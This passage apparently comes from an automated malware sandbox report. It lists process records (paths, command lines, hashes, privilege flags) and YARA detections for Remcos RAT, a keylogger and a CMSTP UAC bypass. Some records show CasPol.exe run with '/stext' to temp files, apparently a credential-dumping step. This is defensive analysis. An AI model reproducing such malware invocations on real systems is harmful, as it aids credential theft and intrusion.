-ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
Imagebase:	0x9f0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	00:13:03
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0xd00000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	12
Start time:	00:13:19
Start date:	14/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Imagebase:	0xce0000
File size:	108'664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000C.00000002.4102227044.0000000001355000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000C.00000002.4104782435.0000000002EAF000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000C.00000002.4102227044.0000000001318000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Target ID:	13
Start time:	00:13:22
Start date:	14/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\aockdegvxmbvbenvzdaftknehua"
Imagebase:	0xad0000
File size:	108'664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	14
Start time:	00:13:22
Start date:	14/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\kihdewrolutadkbziovgwxanibscod"
Imagebase:	0xc10000
File size:	108'664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	15
Start time:	00:13:22
Start date:	14/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\nkmnepbqzclnnyxdazhahcueqhcdhonmrf"
Imagebase:	0x430000
File size:	108'664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true